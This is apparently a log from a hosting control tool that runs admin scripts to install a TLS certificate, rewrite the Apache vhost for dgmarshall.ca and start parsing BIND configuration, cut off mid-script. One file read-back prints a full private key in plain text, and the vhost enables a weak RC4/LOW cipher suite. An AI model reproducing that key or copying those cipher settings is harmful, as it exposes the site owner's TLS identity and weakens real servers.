kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-02 16:27:38: 

chmod 755 /tmp/pkp932194; /tmp/pkp932194; rm /tmp/pkp932194

2026-02-02 16:27:38: 


dir=/etc/ssl/certs


2026-02-02 16:27:38: 

PUT: /tmp/pkp120385

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-02 16:27:38: 

chmod 755 /tmp/pkp120385; /tmp/pkp120385; rm /tmp/pkp120385

2026-02-02 16:27:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf 41

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>






2026-02-02 16:27:38: 

PUT: /tmp/pkp353858

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf= 1'
fi


2026-02-02 16:27:38: 

chmod 755 /tmp/pkp353858; /tmp/pkp353858; rm /tmp/pkp353858

2026-02-02 16:27:38: 




2026-02-02 16:27:38: 

PUT: /tmp/pkp608043

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-02 16:27:38: 

chmod 755 /tmp/pkp608043; /tmp/pkp608043; rm /tmp/pkp608043

2026-02-02 16:27:38: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-02 16:27:39: Establishing a connection
2026-02-02 16:27:39: 

PUT: /tmp/pkp580823

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-02 16:27:39: 

chmod 755 /tmp/pkp580823; /tmp/pkp580823; rm /tmp/pkp580823

2026-02-02 16:27:39: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-02 16:27:39: 

PUT: /tmp/pkp327303

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-02 16:27:39: 

chmod 755 /tmp/pkp327303; /tmp/pkp327303; rm /tmp/pkp327303

2026-02-02 16:27:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf	1500

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>







2026-02-02 16:27:39: 

PUT: /tmp/pkp752284

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-02 16:27:39: 

chmod 755 /tmp/pkp752284; /tmp/pkp752284; rm /tmp/pkp752284

2026-02-02 16:27:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt	5378
56:15:dc:a7:b6:2d:4f:31:2b:a6:d0:12:b5:7d:f1:3b

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBXsyWDWJjaw2nRnlSMsoZhpVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjAyMTUyOTA1WhcNMjYwNTAzMTUyOTA0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
s0BwsWqoB6B97FnpM1JP41xzEAjkG6LGNEu0NZEO5AnOpwjh0zWSOwAtZerldOAQ
E3ZPsOaBcYJcno4VyeVrWsibLmvqNnC2Im3DQedIU47u3NSBRY0RnpAZhzXeumVX
mvBNIBSV4ibE0gj18P5soYCGX+icTdsC5wHsEavreo/WfWgMoI9yV5y1fso6i0DG
mUn19192z5bGPp7wi8h4gJI11KXidpQrNXUxwV8FSEF8g2I8lX261xYLjLLng3eA
Uj4uB2SJcW/UyvmXhfWOf5+3akU/QWMQmuQMbAqmS6uIgu/bo2+mW+zndMWjR6JR
ZVis5LVPwOMGyV9ft7q7ywIDAQABo4ICOTCCAjUwDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBR/bR2i3YFyrN8Kd7irnMydLXyPGTAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIE
AgSB/gSB+wD5AH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGc
Hy5S5AAIAAAFADFHXHoEAwBHMEUCIQD0jXrHzhXDA+Y//X2ymn4vZy7IeVC7y2l4
NCO2r0sbZwIgfRxlLk+rIHZMXGiy2kozvGsV1laFoGmtQaclvIY3lSIAdwCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZwfLlpoAAAEAwBIMEYCIQCF
rwztGiH3JhD5dPpWn/2LFWlSaO1//iPpdRYMPlm1CwIhAPnKrU6ZCQ76CFAhykV+
BfvlrnPVJVi9JpvgwXPJ0J1fMA0GCSqGSIb3DQEBCwUAA4IBAQA7w0xrkDUJObrI
pwFwOGFt5jAYBcHzcqvPlpYOozg7rY+/yu5ktBa3LKN40MFwnBOIUVC2Nwf+Mppw
n52SJI2ORe5EPonJhX6xVkJxl5z9fqIt4Q1eJmYS2bQ7OzNZs9PwCJKmzw8QgGVv
EDb+XJboSHJXjf2c9MXW2aaJXaGIN9wpw/oSou2lykB8QX8GpM+JFxocIGv9qm93
TZ5382PfhT9fPghSqwRHwjxQlFTWcg6n3d7oVwyl3BzwkvRdOrHq2QuW0N6gxG/t
tBODo4gWluMBNnkZ8UFe0ymH9vCQ9okfw3vQfb4gUvLcxcxZnYJTqIhwUIobjHPn
kkFlB260
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCzQHCxaqgHoH3s
WekzUk/jXHMQCOQbosY0S7Q1kQ7kCc6nCOHTNZI7AC1l6uV04BATdk+w5oFxglye
jhXJ5WtayJsua+o2cLYibcNB50hTju7c1IFFjRGekBmHNd66ZVea8E0gFJXiJsTS
CPXw/myhgIZf6JxN2wLnAewRq+t6j9Z9aAygj3JXnLV+yjqLQMaZSfX3X3bPlsY+
nvCLyHiAkjXUpeJ2lCs1dTHBXwVIQXyDYjyVfbrXFguMsueDd4BSPi4HZIlxb9TK
+ZeF9Y5/n7dqRT9BYxCa5AxsCqZLq4iC79ujb6Zb7Od0xaNHolFlWKzktU/A4wbJ
X1+3urvLAgMBAAECggEACp/krhdoyz7vh81SfbjAxHSr20TzpFGzFtFv5obpD4on
Rg5IOFkiCD478qEIJbPMMCMgmRcoj/5OmBVK5FMlWFWwoQFDeiOXIBZKbwMS7eT4
cn1kBifU5gWbhcCjKYAtP6FDqQWfVq6+lsZyMW0bKj1weYnTjefP1bpu8CM1C2gW
tZMmGwFckjNaoKzXOZuy+j5stIRI5YL1mLCZwohGRW/nayQvov2fr0N2M1v0r9Oh
0LPgbjR4xeU/jljAkUHndm9R0+5Uew3teyrnBdT1H3lciXnEHdx70W9Z8KIUjKrm
XLLhDdPaC0PRtei5IKQ+aqDUAJwlilB+uma/50VWKQKBgQDlia/wW9oiCpbDjYIX
Z1UUIwoy8Xhga92pkFP5rUKnIrDw+gbnvvk8nkwUuognnJocTNxOALCWr+fdwA/b
tKihk97jRxc46GA1UtPNSX8rv74l//4Y7Q7HQynFqmv7yuHjD4+OSo03zpwnrbAC
DmXsVSG714U6DLwmbhqrznXiKQKBgQDH6qq4Yd9azuxBFwvXt7757/pvbdURl5C0
10V/aU/jpA4XrK4FFdRJ+OsAkYWSUyh4aQZvFizd4FVUFSz8lWiS/7JHidKkXx6t
7cJUc8Gd71UP7TUFNGz0kFws24SwL/YHrCsq7qe4hTfnxAY9MRr6aGjav1i8q+Dz
V+imM7k00wKBgFrxmKHU4rJGG8HTGU4IhO77ixjwD0+0rRh3tK3h9dyepBh2F7JO
OhXIakB0P2niZDT+RvMo1s59V5LGfAICrCWInvDRw+OqPiQicwSNMDO3PrFzocti
cU6Fz9EfWrVihukdyzUHWLhZxgj6ihfmeH+Qo1L3azO6w/k9+pdDr/UxAoGALKSn
yRL6GMI6mfJ2j46V1CSV7Uo+mXYaN3gXKfOvhms9RmYmWjZcuMQgXnkgteNiFzmE
2Uu/azDMfUFZUXJf7uuwuS763f/rzvVYPxm2c/ldKnhTLb1eU2LlYpMG131uWJpG
7Yhr5dXB/TyWFBYiKycjuy2duEw9qLnJ10uXoUcCgYAJ396zVSREOwWUA9u4tRzw
Fce3auQCS9CtJNSs4GiMKjF5gIXrqETk2cGxiOQMptvfxrEp0a5BWe7Y82lOCyC3
MJO4AC9v83NfJVfulrZ3hH9QFeXHf5SOxk50mzXoe5DE2oYsVmqzbLrZIBJkN7hW
QxckvqZ7fqsPVt5rzrFbOg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-02 16:41:22: Establishing a connection
2026-02-02 16:41:22: 

PUT: /tmp/pkp842095

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
